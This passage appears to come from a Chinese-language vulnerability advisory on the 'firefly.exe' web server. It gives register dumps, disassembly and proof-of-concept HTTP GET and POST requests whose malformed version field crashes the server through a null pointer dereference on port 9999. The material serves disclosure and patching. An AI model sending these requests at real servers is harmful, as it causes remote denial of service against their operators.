崩溃细节：
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 0175eeef ( 24506095) -> (stack)
EBP: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
ESP: 0175eed0 ( 24506064) -> u0pxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A
反汇编：
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl
PoC:
GET / HTTP/1.1
Host: xxxxxxx\r\n
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer:
3)"firefly.exe"文件内的HTTP POST和GET方法没有正确处理，通过向9999/TCP端口发送特制报文，可导致空指针引用，造成服务器崩溃。
a) HTTP POST
崩溃细节：
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 00000001 ( 1) -> N/A
EBP: 007087d8 ( 7374808) -> ppPpatp (heap)
ESP: 0175eed0 ( 24506064) -> upxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 007087d8 ( 7374808) -> ppPpatp (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A
反汇编：
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,b
PoC:
POST /index.html HTTP/
xxxxxxxx
.1
b) HTTP GET
崩溃细节：
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 00000001 ( 1) -> N/A
EBP: 00708830 ( 7374896) -> p!pppHFF#) (heap)
ESP: 0175eed0 ( 24506064) -> u0pxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 00708830 ( 7374896) -> p!pppHFF#) (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A
反汇编：
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl
PoC:
GET /index.html HTTP/xxxxxxxx.1
Proof of concept #2:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET /index.html HTTP/
xxxxxxxx.1